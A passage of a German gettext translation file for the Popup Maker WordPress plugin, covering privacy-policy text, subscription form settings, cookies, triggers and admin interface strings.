msgstr "Abonnementinformationen wurden nicht entfernt. Eventuell gab es einen Datenbankfehler während dem Löschen."

#: classes/Privacy.php:314
msgid "Date Subscribed"
msgstr "Anmeldedatum"

#: classes/Privacy.php:257
msgid "Provided Consent"
msgstr "Einverständniserklärung"

#: classes/Privacy.php:217
msgid "Subscriber Data"
msgstr "Daten des Abonnenten"

#: classes/Privacy.php:150 classes/Privacy.php:168
msgid "Popup Maker Subscribe Form"
msgstr "Popup Maker Anmeldeformular"

#: classes/Privacy.php:125
msgid "If you have extended our subscription forms to send data to a 3rd party service such as Mailchimp, user info may be passed to these external services. These services may be located abroad."
msgstr "Wenn du unsere Abonnementformulare zum Versenden von Daten mit der Erweiterung eines Drittanbieters wie Mailchimp verwendest, können Benutzerinformationen an diese externen Dienste weitergegeben werden. Diese Dienstleistungen können sich im Ausland befinden."

#: classes/Privacy.php:124
msgid "Popup Maker does not send any user data outside of your site by default."
msgstr "Popup Maker sendet standardmäßig keine Benutzerdaten aus deiner Website hinaus."

#: classes/Privacy.php:123
msgid "Where we send your data"
msgstr "Wohin wir deine Daten senden"

#: classes/Privacy.php:121
msgid "If syncing data to a 3rd party service (for example Mailchimp), data is retained there until unsubscribed or deleted."
msgstr "Wenn Daten mit einem Drittanbieter-Dienst (z.B. Mailchimp) synchronisiert werden, bleiben die Daten dort bis zur Abmeldung oder Löschung erhalten."

#: classes/Privacy.php:121
msgid "Data will be exported or removed upon users request via the existing Exporter or Eraser."
msgstr "Daten werden auf Wunsch des Benutzers über den bestehenden Exporter exportiert oder über den Eraser entfernt."

#: classes/Privacy.php:120
msgid "Subscriber information is retained in the local database indefinitely for analytic tracking purposes and for future export."
msgstr "Abonnenteninformationen werden in der lokalen Datenbank auf unbestimmte Zeit für analytische Auswertungszwecke und für den späteren Export gespeichert."

#: classes/Privacy.php:119
msgid "How long we retain your data"
msgstr "Wie lange wir deine Daten speichern"

#: classes/Privacy.php:117
msgid "Popup Maker anonymously tracks popup views and conversions."
msgstr "Popup Maker zeichnet anonymisiert Pop-up-Aufrufe und Conversions auf."

#: classes/Privacy.php:114
msgid "We use anonymous cookies to prevent users from seeing the same popup repetitively in an attempt to make our users experience more pleasant while still delivering time sensitive messaging."
msgstr "Wir verwenden anonyme Cookies, um zu verhindern, dass Benutzer das gleiche Pop-up wiederholt sehen, um unseren Benutzern eine angenehmere Erfahrung zu ermöglichen und gleichzeitig Zeit-sensible Nachrichten zu liefern."

#: classes/Privacy.php:75
msgid "Below is a list of all cookies currently registered within your popup settings. These are here for you to disclose if you are so required."
msgstr "Nachfolgend findest du eine Liste aller Cookies, die derzeit in deinen Pop-up-Einstellungen registriert sind. Diese dienen dir zum Vorweisen, wenn du dazu aufgefordert wirst."

#: classes/Privacy.php:69
msgid "This may result in cookies being saved for an extended period of time. These are non-tracking cookies used only by our popups."
msgstr "Dies kann dazu führen, dass Cookies über einen längeren Zeitraum gespeichert werden. Dies sind keine Tracking-Cookies, die nur von unseren Pop-ups verwendet werden."

#: classes/Privacy.php:68
msgid "Popup Maker uses cookies for most popups. The primary function is to prevent your users from being annoyed by seeing the same popup repeatedly."
msgstr "Popup Maker verwendet für die meisten Pop-ups Cookies. Die Hauptfunktion besteht darin, zu verhindern, dass deine Benutzer verärgert werden, indem sie das gleiche Pop-up wiederholt sehen."

#: classes/Privacy.php:65
msgid "You can opt our or unsubscribe at any time in the future by clicking link in the bottom of any email."
msgstr "Du kannst dich jederzeit wieder abmelden, indem du auf den Link am Ende jeder E-Mail klickst."

#: classes/Privacy.php:65
msgid "These subscriptions are used to notify you about related content, discounts & other special offers."
msgstr "Diese Abonnements werden verwendet, um dich über ähnliche Inhalte, Rabatte und andere Sonderangebote zu informieren."

#: classes/Privacy.php:63
msgid "For example, you may note that you keep form submissions for ongoing marketing purposes."
msgstr "So kannst du beispielsweise feststellen, dass du die Formularvorlagen für laufende Marketingzwecke aufbewahrst."

#: classes/Privacy.php:62
msgid "If you have used them in your popups to collect email subscribers, use this subsection to note what personal data is captured when someone submits a subscription form, and how long you keep it."
msgstr "Wenn du sie in deinen Popups verwendet hast, um E-Mail-Abonnenten zu sammeln, benutze diesen Unterabschnitt, um zu notieren, welche persönlichen Daten erfasst werden, wenn jemand ein Abonnementformular abschickt, und wie lange du dieses aufbewahrst."

#: classes/Privacy.php:61
msgid "Popup Maker subscription forms are not enabled by default."
msgstr "Popup Maker Abonnement-Formulare sind standardmäßig nicht aktiviert."

#: classes/Privacy.php:60
msgid "Subscription forms"
msgstr "Abonnement-Formulare"

#: classes/Privacy.php:58
msgid "What personal data we collect and why we collect it"
msgstr "Welche personenbezogenen Daten sammeln wir und warum"

#: classes/Privacy.php:54
msgid "This information is only for guidance and not to be considered as legal advice."
msgstr "Diese Informationen dienen nur der Orientierung und stellen keine Rechtsberatung dar."

#: classes/Privacy.php:54
msgid "Disclaimer:"
msgstr "Haftungsausschluss:"

#: classes/Privacy.php:53
msgid "You should include the information below in the correct sections of you privacy policy."
msgstr "Du solltest die folgenden Informationen in die richtigen Abschnitte deiner Datenschutzerklärung aufnehmen."

#: classes/Privacy.php:52
msgid "This information serves as a guide on what sections need to be modified due to usage of Popup Maker and its extensions."
msgstr "Diese Informationen dienen als Leitfaden, welche Abschnitte aufgrund der Verwendung von Popup Maker und seinen Erweiterungen geändert werden müssen."

#: classes/Privacy.php:52
msgid "Hello,"
msgstr "Hallo,"

#: classes/Privacy.php:48
msgid "Suggested text:"
msgstr "Vorgeschlagener Text:"

#: classes/Admin/Settings.php:778
msgid "Subscription Forms"
msgstr "Abonnementformulare"

#: classes/Admin/Settings.php:743 classes/Shortcode/Subscribe.php:65
#: classes/Shortcode/Subscribe.php:95
msgid "Privacy"
msgstr "Datenschutz"

#: classes/Admin/Settings.php:430 classes/Shortcode/Subscribe.php:409
msgid "If you opt in above we use this information send related content, discounts and other special offers."
msgstr "Wenn du zustimmst verwenden wir deine Informationen um dir relevante Inhalte, Rabatte und andere Sonderangebote zuzusenden."

#: classes/Admin/Settings.php:422 classes/Shortcode/Subscribe.php:401
msgid "Consent Usage Text"
msgstr "Text zur Einwilligung in die Nutzung"

#: classes/Admin/Settings.php:413 classes/Shortcode/Subscribe.php:389
msgid "Consent No Label"
msgstr "Einwilligung-Nein-Label"

#: classes/Admin/Settings.php:404 classes/Shortcode/Subscribe.php:377
msgid "Consent Yes Label"
msgstr "Einwilligung-Ja-Label"

#: classes/Admin/Settings.php:395 classes/Shortcode/Subscribe.php:365
msgid "Stacked"
msgstr "Gestapelt"

#: classes/Admin/Settings.php:391 classes/Shortcode/Subscribe.php:361
msgid "Consent Radio Layout"
msgstr "Einwilligung Radio-Layout"

#: classes/Admin/Settings.php:382 classes/Privacy.php:283
#: classes/Shortcode/Subscribe.php:341
msgid "Consent Required"
msgstr "Zustimmung notwendig"

#: classes/Admin/Settings.php:374 classes/Shortcode/Subscribe.php:354
msgid "Checkbox"
msgstr "Checkbox"

#: classes/Admin/Settings.php:373 classes/Shortcode/Subscribe.php:353
msgid "Radio"
msgstr "Radio"

#: classes/Admin/Settings.php:370
msgid "Radio forces the user to make a choice, often resulting in more opt-ins."
msgstr "Radio-Buttons zwingen den Benutzer, eine Auswahl zu treffen. Dies resultiert oft in mehr Zustimmungen."

#: classes/Admin/Settings.php:369
msgid "Consent Field Type"
msgstr "Zustimmungs-Feldtyp auswählen"

#: classes/Admin/Settings.php:363 classes/Shortcode/Subscribe.php:336
msgid "Notify me about related content and special offers."
msgstr "Benachrichtige mich über ähnliche Inhalte und Sonderangebote."

#: classes/Admin/Settings.php:361 classes/Privacy.php:286
msgid "Consent Text"
msgstr "Einwilligungstext"

#: classes/Admin/Settings.php:352
msgid "Always enable consent field on subscription forms."
msgstr "Aktiviere immer das Einwilligungsfeld auf den Anmeldeformularen."

#: classes/Admin/Settings.php:349
msgid "These settings only pertain to usage of the Popup Maker built in subscription form shortcode, not 3rd party form plugins."
msgstr "Diese Einstellungen beziehen sich nur auf die Verwendung des Popup Maker, der im Abonnement-Formular-Shortcode vorgesehen ist, nicht auf Plugins von Drittanbietern."

#: classes/Admin/Settings.php:349
msgid "Disclaimer"
msgstr "Disclaimer"

#: classes/Admin/Settings.php:322
msgid "You must agree to continue."
msgstr "Du musst zustimmen, um fortzufahren."

#: classes/Admin/Settings.php:319
msgid "Consent Required Message"
msgstr "Zur Einwilligung erforderliche Nachricht"

#: classes/Extension/Activator.php:183 classes/Utils/Prerequisites.php:310
#: vendor-prefixed/code-atlantic/prerequisite-checks/src/Prerequisites.php:421
msgid "update it"
msgstr "aktualisieren"

#. translators: 1: Number of items updated. 2: Singular or plural label.
#: classes/Abstract/Upgrade/Posts.php:208
msgid "Updating %1$d %2$s."
msgid_plural "Updating %1$d %2$s."
msgstr[0] "%1$d %2$s wird aktualisiert."
msgstr[1] "%1$d %2$s werden aktualisiert."

#: classes/Admin/Popups.php:924
msgid "Disable automatic re-triggering of popup after non-ajax form submission."
msgstr "Verhindern, dass das Absenden von Nicht-AJAX-Formularen automatisch erneut ein Popup auslöst."

#: classes/Admin/Popups.php:426
msgid "Triggers & Cookies"
msgstr "Auslöser & Cookies"

#. translators: 1. URL to view troubleshooting guide. 2. Closing HTML tag.
#. translators: 1. URL to troubleshooting guide. 2. Closing tag.
#: classes/Admin/Popups.php:262 classes/Admin/Settings.php:662
#: classes/Admin/Themes.php:151
msgid "If you are seeing this, the page is still loading or there are Javascript errors on this page. %1$sView troubleshooting guide%2$s"
msgstr "Wenn du dies siehst, wird die Seite noch geladen oder es gibt Javascript-Fehler auf dieser Seite. %1$sSiehe Anleitung zur Problembehandlung%2$s"

#: classes/Admin/Settings.php:514
msgid "Disable the Popup Maker shortcode button"
msgstr "Shortcode-Button von Popup Maker deaktivieren"

#: includes/integrations/class-pum-cf7.php:162
#: includes/integrations/class-pum-gravity-forms.php:153
#: includes/integrations/ninja-forms/Actions/ClosePopup.php:53
msgid "seconds"
msgstr "Sekunden"

#: classes/Admin/Themes.php:198
msgid "Did you know:"
msgstr "Wusstest du schon:"

#: classes/Admin/Themes.php:194
msgid "Clicking on an element in this theme preview will take you to its relevant settings in the editor?"
msgstr "Das Klicken auf ein Element in dieser Theme-Vorschau wird dich zu dessen relevanten Einstellungen im Editor führen?"

#: classes/Admin/Themes.php:193
msgid "If you move this theme preview to the bottom of your sidebar here it will follow you down the page?"
msgstr "Wenn du diese Theme-Vorschau hier zum Ende deiner Seitenleiste bewegst, wird es im Sichtbereich deiner Seite bleiben."

#: classes/Utils/Upgrades.php:742
msgid "No upgrades currently required."
msgstr "Aktuell sind keine Upgrades erforderlich."

#: classes/Utils/Upgrades.php:731
msgid "Upgrades"
msgstr "Upgrades"

#: classes/Utils/Upgrades.php:393
msgid "Finish Upgrades"
msgstr "Beende Upgrades"

#: classes/Utils/Upgrades.php:387
msgid "This can sometimes take a few minutes, are you ready to begin?"
msgstr "Das kann ein paar Minuten dauern, können wir starten?"

#. translators: %2$s: Post Type Plural: "Popups", "Popup Themes"
#: classes/Types.php:128
msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\""
msgid "No %2$s found in Trash"
msgstr "Kein %2$s im Papierkorb gefunden"

#. translators: %2$s: Post Type Plural: "Popups", "Popup Themes"
#: classes/Types.php:126
msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\""
msgid "No %2$s found"
msgstr "Kein %2$s gefunden"

#. translators: %2$s: Post Type Plural: "Popups", "Popup Themes"
#: classes/Types.php:124
msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\""
msgid "Search %2$s"
msgstr "Suche %2$s"

#. translators: %1$s: Post Type Singular: "Popup", "Popup Theme"
#: classes/Types.php:122
msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\""
msgid "View %1$s"
msgstr "%1$s anzeigen"

#. translators: %2$s: Post Type Plural: "Popups", "Popup Themes"
#: classes/Types.php:120
msgctxt "Post Type Plural: \"Popups\", \"Popup Themes\""
msgid "All %2$s"
msgstr "Alle %2$s"

#. translators: %1$s: Post Type Singular: "Popup", "Popup Theme"
#: classes/Types.php:118
msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\""
msgid "New %1$s"
msgstr "Neues %1$s"

#. translators: %1$s: Post Type Singular: "Popup", "Popup Theme"
#: classes/Types.php:116
msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\""
msgid "Edit %1$s"
msgstr " %1$s bearbeiten"

#. translators: %1$s: Post Type Singular: "Popup", "Popup Theme"
#: classes/Types.php:112
msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\""
msgid "Create New %1$s"
msgstr "Neues %1$s erstellen"

#. translators: %1$s: Post Type Singular: "Popup", "Popup Theme"
#: classes/Types.php:114
msgctxt "Post Type Singular: \"Popup\", \"Popup Theme\""
msgid "Create %1$s"
msgstr "%1$s erstellen"

#: classes/Triggers.php:338
msgid "Choose which cookies will disable this trigger"
msgstr "Wähle aus, welche Cookies diesen Auslöser deaktivieren"

#: classes/Triggers.php:198
msgid "Time Delay Settings"
msgstr "Einstellungen für Zeitverzögerung"

#: classes/Triggers.php:197
msgid "Time Delay / Auto Open"
msgstr "Zeitverzögerung / Automatisches Öffnen"

#: classes/Triggers.php:183
msgid ".class-here"
msgstr ".class-here"

#: classes/Triggers.php:182
msgid " .class-here, .class-2-here, #button_id"
msgstr " .class-here, .class-2-here, #button_id"

#: classes/Triggers.php:182
msgid "For more than one selector, separate by comma (,)"
msgstr "Wenn du mehr als einen Selektor hast, separiere diese mit einem Komma (,)"

#. translators: 1. Event name.
#: classes/Site/Assets.php:301
msgid "Event: %s"
msgstr "Ereignis: %s"

#: classes/Site/Assets.php:299
msgid "Tablet Disabled:"
msgstr "Tablet deaktiviert:"

#: classes/Site/Assets.php:298
msgid "Mobile Disabled:"
msgstr "Mobil deaktiviert:"

#: classes/Site/Assets.php:297
msgid "Selector:"
msgstr "Selektor:"

#: classes/Site/Assets.php:296
msgid "Settings:"
msgstr "Einstellungen:"

#: classes/Site/Assets.php:295
msgid "Cookie:"
msgstr "Cookie:"

#: classes/Site/Assets.php:293
msgid "Delay:"
msgstr "Verzögerung:"

#: classes/Site/Assets.php:289
msgid "Method Arguments:"
msgstr "Methoden-Argumente:"

#: classes/Site/Assets.php:288
msgid "Method Call:"
msgstr "Methoden-Aufruf:"

#: classes/Site/Assets.php:287
msgid "Theme ID: "
msgstr "Theme ID: "

#: classes/Site/Assets.php:286
msgid "Popup: #"
msgstr "Popup: #"

#: classes/Site/Assets.php:285
msgid "Popups Initialized"
msgstr "Popups initialisiert"

#: classes/Site/Assets.php:284
msgid "Popups Initializing"
msgstr "Popups werden initialisiert"

#: classes/Site/Assets.php:283
msgid "Localized variables"
msgstr "Lokalisierte Variablen"

#: classes/Site/Assets.php:282
msgid "Global Information"
msgstr "Globale Information"

#. translators: 1. URL to documentation.
#: classes/Site/Assets.php:279
msgid "For more information on how to use this information visit %s"
msgstr "Um mehr darüber zu erfahren wie du diese Information nutzen kannst besuche %s"

#: classes/Site/Assets.php:276
msgid "Debug started at:"
msgstr "Fehlerbereinigung begonnen um:"

#: classes/Site/Assets.php:275
msgid "Debug Mode Enabled"
msgstr "Fehlerbereinigungsmodus aktiviert"

#: classes/Shortcode/Subscribe.php:784
msgid "Subscription Form Placeholder"
msgstr "Platzhalter Anmeldeformular"

#: classes/Shortcode/Subscribe.php:456
msgid "Leave blank to refresh, or enter a url that users will be taken to after success."
msgstr "Lasse dies leer, um zu aktualisieren oder gib eine URL ein zu welcher Benutzer nach Erfolg weitergeleitet werden sollen."

#: classes/Shortcode/Subscribe.php:455
msgid "Redirect URL"
msgstr "Weiterleitungs-URL"

#: classes/Shortcode/Subscribe.php:451
msgid "Enable refreshing the page or redirecting after success."
msgstr "Ermögliche das Aktualisieren der Seite oder Weiterleitung nach Erfolg."

#: classes/Shortcode/Subscribe.php:301
msgid "Choose how you want your form styled."
msgstr "Wähle, wie du dein Formular gestaltet haben möchtest."

#: classes/Shortcode/Subscribe.php:300
msgid "Form Style"
msgstr "Formular-Stil"

#: classes/Shortcode/Subscribe.php:289
msgid "Choose a form alignment."
msgstr "Wähle eine Ausrichtung für das Formular."

#: classes/Shortcode/Subscribe.php:288
msgid "Form Alignment"
msgstr "Formular-Ausrichtung"

#: classes/Admin/Settings.php:394 classes/Shortcode/Subscribe.php:282
#: classes/Shortcode/Subscribe.php:364
msgid "Inline"
msgstr "Inline"

#: classes/Shortcode/Subscribe.php:281
msgid "Block"
msgstr "Block"

#: classes/Shortcode/Subscribe.php:278
msgid "Choose a form layout."
msgstr "Wähle ein Formular-Layout."

#: classes/Shortcode/Subscribe.php:277
msgid "Form Layout"
msgstr "Formular Layout"

#: classes/Shortcode/Subscribe.php:226
msgid "Subscribe"
msgstr "Abonnieren"

#: classes/Shortcode/Subscribe.php:225
msgid "Submit Button"
msgstr "Senden-Button"

#: classes/Shortcode/Subscribe.php:185
msgid "Field label text"
msgstr "Feld-Label-Text"

#: classes/Shortcode/Subscribe.php:179
msgid "Disables the display of field labels."
msgstr "Deaktiviert die Anzeige von Feldbezeichnern."

#: classes/Shortcode/Subscribe.php:178
msgid "Disable Labels"
msgstr "Labels deaktivieren"

#: classes/Shortcode/Subscribe.php:167
msgid "Removes the name field."
msgstr "Entfernt das Namensfeld."

#: classes/Shortcode/Subscribe.php:166
msgid "Name Disabled"
msgstr "Name deaktiviert"

#: classes/Shortcode/Subscribe.php:158
msgid "Makes the name field optional."
msgstr "Macht das Namensfeld optional."

#: classes/Shortcode/Subscribe.php:157
msgid "Name Optional"
msgstr "Name optional"

#: classes/Shortcode/Subscribe.php:151
msgid "First & Last"
msgstr "Vor- und Nachname"

#: classes/Shortcode/Subscribe.php:150
msgid "First Only"
msgstr "Nur Vorname"

#: classes/Shortcode/Subscribe.php:149
msgid "Full"
msgstr "Voll"

#: classes/Shortcode/Subscribe.php:145
msgid "Name Field Type"
msgstr "Name des Feld-Typs"

#: classes/Shortcode/Subscribe.php:135
msgid "Choose which service provider to submit to."
msgstr "Wähle zu welchem Dienst-Provider das übermittelt werden soll."

#: classes/Shortcode/Subscribe.php:134
msgid "Service Provider"
msgstr "Dienst-Provider"

#: classes/Shortcode/Subscribe.php:99 classes/Shortcode/Subscribe.php:450
msgid "Redirect"
msgstr "Weiterleiten"

#: classes/Shortcode/Subscribe.php:94
msgid "Placeholders"
msgstr "Platzhalter"

#: classes/Shortcode/Subscribe.php:93 classes/Shortcode/Subscribe.php:184
msgid "Labels"
msgstr "Beschriftungen"

#: classes/Shortcode/Subscribe.php:92
msgid "Fields"
msgstr "Felder"

#: classes/Cookies.php:96 classes/Shortcode/Subscribe.php:64
#: classes/Triggers.php:222
msgid "Form"
msgstr "Formular"

#: classes/Shortcode/Subscribe.php:48
msgid "A customizable newsletter subscription form."
msgstr "Ein individualisierbares Newsletter-Anmeldeformular."

#: classes/Cookies.php:101 classes/Shortcode/Subscribe.php:41
#: classes/Triggers.php:227
msgid "Subscription Form"
msgstr "Anmeldeformular"

#: classes/Shortcode/PopupTrigger.php:102
msgid "Custom Popup ID"
msgstr "Individuelle Popup-ID"

#: classes/Shortcode/PopupClose.php:56
msgid "The HTML tag used for this element."
msgstr "Das HTML-Tag das für dieses Element verwendet wurde."

#: classes/ListTable.php:929
msgid "Last page"
msgstr "Letzte Seite"

#: classes/ListTable.php:918
msgid "Next page"
msgstr "Nächste Seite"

#. translators: %1$s: Current page number, %2$s: Total number of pages.
#: classes/ListTable.php:907
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr "%1$s von %2$s"

#: classes/ListTable.php:895 classes/ListTable.php:899
msgid "Current Page"
msgstr "Aktuelle Seite"

#: classes/ListTable.php:888
msgid "Previous page"
msgstr "Vorherige Seite"

#: classes/ListTable.php:877
msgid "First page"
msgstr "Erste Seite"

#. translators: %s: Number of items.
#: classes/ListTable.php:827 classes/ListTable.php:1453
msgid "%s item"
msgid_plural "%s items"
msgstr[0] "%s Element"
msgstr[1] "%s Elemente"

#: classes/ListTable.php:747
msgid "No pending comments"
msgstr "Keine ausstehenden Kommentare"

#: classes/ListTable.php:724
msgid "No approved comments"
msgstr "Keine freigegebenen Kommentare"

#: classes/ListTable.php:702 classes/ListTable.php:724
#: classes/ListTable.php:747
msgid "No comments"
msgstr "Keine Kommentare"

#. translators: %s: Number of pending comments.
#: classes/ListTable.php:694
msgid "%s pending comment"
msgid_plural "%s pending comments"
msgstr[0] "%s ausstehender Kommentar"
msgstr[1] "%s ausstehende Kommentare"

#. translators: %s: Number of approved comments.
#: classes/ListTable.php:689
msgid "%s approved comment"
msgid_plural "%s approved comments"
msgstr[0] "%s freigegebener Kommentar"
msgstr[1] "%s freigegegebene Kommentare"

#. translators: %s: number of comments
#: classes/ListTable.php:684
msgid "%s comment"
msgid_plural "%s comments"
msgstr[0] "%s Kommentar"
msgstr[1] "%s Kommentare"

#. translators: 1: month name, 2: 4-digit year
#: classes/ListTable.php:628
msgid "%1$s %2$d"
msgstr "%1$s %2$d"

#: classes/ListTable.php:612
msgid "All dates"
msgstr "Alle Daten"

#: classes/ListTable.php:610
msgid "Filter by date"
msgstr "Nach Datum filtern"

#: classes/ListTable.php:544 classes/ListTable.php:1426
msgid "Show more details"
msgstr "Mehr Details anzeigen"

#: classes/ListTable.php:489 dist/block-editor/block-editor.js:6
msgid "Apply"
msgstr "Anwenden"

#: classes/ListTable.php:479
msgid "Bulk Actions"
msgstr "Mehrfachaktionen"

#: classes/ListTable.php:477
msgid "Select bulk action"
msgstr "Mehrfachaktion auswählen"

#: classes/ListTable.php:343
msgid "No items found."
msgstr "Kein Element gefunden."

#: classes/ListTable.php:172
msgid "Excerpt View"
msgstr "Ansicht mit Textauszug"

#: classes/ListTable.php:171
msgid "List View"
msgstr "Listen-Ansicht"

#. translators: 1. Opening HTML link tag, 2. Closing HTML tag.
#: classes/Licensing.php:141
msgid "Your license key has reached its activation limit. %1$sView possible upgrades%2$s now."
msgstr "Dein Lizenzschlüssel hat das Limit für Aktivierungen erreicht. %1$sZeige mögliche Upgrades%2$s an."

#. translators: %1$s: bold start, %2$s: bold end.
#: classes/Cookies.php:248
msgid "%1$sNote%2$s: Modern browsers that reopen your last browser session's tabs do not properly clear session cookies"
msgstr "%1$sHinweis%2$s: Moderne Browser, die die Tabs der letzten Browser-Session neu öffnen, löschen Session-Cookies nicht korrekt."

#: classes/Cookies.php:122
msgid "Subscription Form: Already Subscribed"
msgstr "Anmeldeformular: Bereits abonniert"

#: classes/Cookies.php:119
msgid "Subscription Form: Successful"
msgstr "Anmeldeformular: Erfolgreich"

#: classes/Conditions.php:511
msgid "404 Error Page"
msgstr "404 Fehler-Seite"

#: classes/Conditions.php:505
msgid "Search Result Page"
msgstr "Suchergebnis-Seite"

#: classes/Batch/Process/Registry.php:85
msgid "An invalid batch class handler file has been supplied."
msgstr "Eine ungültige Gruppen-Klassen Handler-Datei wurde ausgegeben."

#: classes/Batch/Process/Registry.php:80
msgid "No batch class handler file has been supplied."
msgstr "Es wurde keine Batch-Klassen Handler-Datei ausgegeben."

#: classes/Batch/Process/Registry.php:76
msgid "A batch process class must be specified."
msgstr "Eine Batch-Prozess-Klasse muss festgelegt werden."

#: classes/Analytics.php:188
msgid "Event Type"
msgstr "Ereignis-Typ"

#: classes/Admin/Tools.php:92
msgid "Popup Maker Tools"
msgstr "Popup Maker Werkzeuge"

#: classes/Admin/Templates.php:749
msgid "Select a cookie type."
msgstr "Wähle einen Cookie-Typ."

#: classes/Admin/Templates.php:748
msgid "When should your cookie be created?"
msgstr "Wann soll dein Cookie erstellt werden?"

#: classes/Admin/Templates.php:688
msgid "Cookies control the repeat display of a popup."
msgstr "Cookies kontrollieren die wiederholte Anzeige von Popups."

#: classes/Admin/Templates.php:618 classes/Admin/Templates.php:651
msgid "Choose a condition"
msgstr "Wähle eine Bedingung"

#: classes/Admin/Templates.php:613
msgid "Choose a condition to target your popup to specific content or various other segments."
msgstr "Wähle eine Bedingung um dein Popup für spezielle Inhalte oder bestimmte andere Segmente zu planen."

#. translators: 1. button text. 2. warning icon.
#: classes/Admin/Templates.php:593
msgid "Click the %1$s button for any condition to check the opposite of the chosen condition. The button will turn red %2$s when active."
msgstr "Klicke den %1$s-Button, um für jede Bedingung um das Gegenteil der ausgewählten Bedingung zu wählen. Der Button wird rot %2$s wenn aktiviert."

#: classes/Admin/Templates.php:588
msgid "Target the popup to a specific segment by adding conditions below."
msgstr "Plane das Popup für ein spezielles Segment indem du unten Bedingungen hinzufügst. "

#: classes/Admin/Templates.php:587
msgid "By default, this popup will be loaded on every page of your site for all users."
msgstr "Standardmäßig wird dieses Popup auf jeder Seite deiner Website für alle Benutzer geladen."

#. translators: 1. contextual help link text.
#: classes/Admin/Templates.php:411 classes/Admin/Templates.php:576
#: classes/Admin/Templates.php:684
msgid "Learn more about %s"
msgstr "Erfahre mehr über %s"

#: classes/Admin/Templates.php:569
msgid "Conditions allow you to show your popup to a targeted segment of your sites users."
msgstr "Bedingungen ermöglichen es, dass Dein PopUp in einem festgelegten Segment Deiner Website Benutzer erscheint."

#: classes/Admin/Templates.php:415
msgid "Triggers cause a popup to open."
msgstr "Auslöser lösen das Öffnen eines Popups aus."

#: classes/Admin/Templates.php:258
msgid "Value"
msgstr "Wert"

#: classes/Admin/Templates.php:254
msgid "Label"
msgstr "Label"

#: classes/Admin/Templates.php:250
msgid "Action"
msgstr "Aktion"

#: classes/Admin/Templates.php:246
msgid "Category"
msgstr "Kategorie"

#: classes/Admin/Templates.php:206
msgid "Inactive"
msgstr "Nicht aktiv"

#: classes/Admin/Templates.php:203
msgid "Active"
msgstr "Aktiv"

#: classes/Admin/Templates.php:52
msgid "Check"
msgstr "Prüfen"

#: classes/Admin/Subscribers.php:78
msgid "Subscribers Per Page"
msgstr "Abonnenten je Seite"

#: classes/Admin/Subscribers.php:46
msgid "Find"
msgstr "Finden"

#: classes/Admin/Subscribers/Table.php:426
msgid "Invalid Nonce"
msgstr "Ungültige Nonce"

#: includes/modules/admin-bar.php:157
msgid "Success"
msgstr "Erfolgreich"

#: classes/Admin/Subscribers/Table.php:402
#: classes/Admin/Subscribers/Table.php:409
msgid "Subscriber deleted!"
msgid_plural "Subscribers deleted!"
msgstr[0] "Abonnent wurde gelöscht!"
msgstr[1] "Abonnenten wurden gelöscht!"

#: classes/Admin/Subscribers/Table.php:332
msgid "Delete"
msgstr "Löschen"

#. translators: %s is the name of the subscriber.
#: classes/Admin/Subscribers/Table.php:186
msgid "Select %s"
msgstr "Wähle %s"

#: classes/Admin/Subscribers/Table.php:151
msgid "No subscribers available."
msgstr "Keine Abonnenten verfügbar."

#: classes/Admin/Subscribers/Table.php:108
msgctxt "column name"
msgid "Subscribed On"
msgstr "Eingetragen am"

#: classes/Admin/Subscribers/Table.php:105 classes/Privacy.php:251
#: classes/Shortcode/Subscribe.php:208 classes/Shortcode/Subscribe.php:213
#: classes/Shortcode/Subscribe.php:261 classes/Shortcode/Subscribe.php:265
msgid "Last Name"
msgstr "Nachname"

#: classes/Admin/Subscribers/Table.php:104 classes/Privacy.php:245
#: classes/Shortcode/Subscribe.php:199 classes/Shortcode/Subscribe.php:204
#: classes/Shortcode/Subscribe.php:253 classes/Shortcode/Subscribe.php:257
msgid "First Name"
msgstr "Vorname"

#: classes/Admin/Subscribers/Table.php:103 classes/Shortcode/Subscribe.php:190
#: classes/Shortcode/Subscribe.php:245
msgid "Full Name"
msgstr "Vollständiger Name"

#: classes/Admin/Settings.php:771
msgid "Extension Settings"
msgstr "Einstellungen für Erweiterungen"

#: classes/Admin/Settings.php:740
msgid "Subscriptions"
msgstr "Abonnements"

#: classes/Admin/Settings.php:655
msgid "Popup Maker Settings"
msgstr "Popup Maker Einstellungen"

#: classes/Admin/Settings.php:316 includes/functions/newsletter.php:63
msgid "You are already a subscriber."
msgstr "Du hast dich bereits eingetragen."

#: classes/Admin/Settings.php:314 classes/Admin/Settings.php:320
msgid "Message to show user who is already subscribed."
msgstr "Nachricht die dem Benutzer gezeigt wird der bereits eingetragen ist."

#: classes/Admin/Settings.php:313
msgid "Already Subscribed Message"
msgstr "Bereits Eingetragen Nachricht"

#: classes/Admin/Settings.php:310 includes/functions/newsletter.php:62
msgid "Error occurred when subscribing. Please try again."
msgstr "Es gab einen Fehler als du dich eintragen wolltest. Bitte versuche es erneut."

#: classes/Admin/Settings.php:308
msgid "Message to show user when an error has occurred."
msgstr "Nachricht die dem Benutzer angezeigt wird wenn es einen Fehler gab."

#: classes/Admin/Settings.php:307
msgid "Error Message"
msgstr "Fehler-Nachricht"

#: classes/Admin/Settings.php:304 includes/functions/newsletter.php:65
#: includes/functions/newsletter.php:66
msgid "Email provided is not a valid email address."
msgstr "Die angegebene E-Mail ist keine gültige E-Mail-Adresse."

#: classes/Admin/Settings.php:298 includes/functions/newsletter.php:64
msgid "Please enter a valid email."
msgstr "Bitte gib eine gültige E-Mail an."

#: classes/Admin/Settings.php:296
msgid "Message to show user when no email is entered."
msgstr "Nachricht die dem Benutzer gezeigt wird wenn keine E-Mail eingetragen wurde."

#: classes/Admin/Settings.php:295
msgid "Empty Email Message"
msgstr "Leere E-Mail-Nachricht"

#: includes/functions/newsletter.php:61
msgid "Please check your email and confirm your subscription."
msgstr "Bitte überprüfe deine E-Mails, um dein Abonnement zu bestätigen."

#: classes/Admin/Settings.php:302
msgid "Message to show user when an invalid email is entered."
msgstr "Nachricht die dem Benutzer gezeigt wird wenn eine ungültige E-Mail eingetragen wurde."

#: classes/Admin/Settings.php:301
msgid "Invalid Email Message"
msgstr "Ungültige E-Mail-Nachricht"

#: classes/Admin/Settings.php:292 includes/functions/newsletter.php:60
msgid "You have been subscribed!"
msgstr "Du wurdest eingetragen!"

#: classes/Admin/Settings.php:290
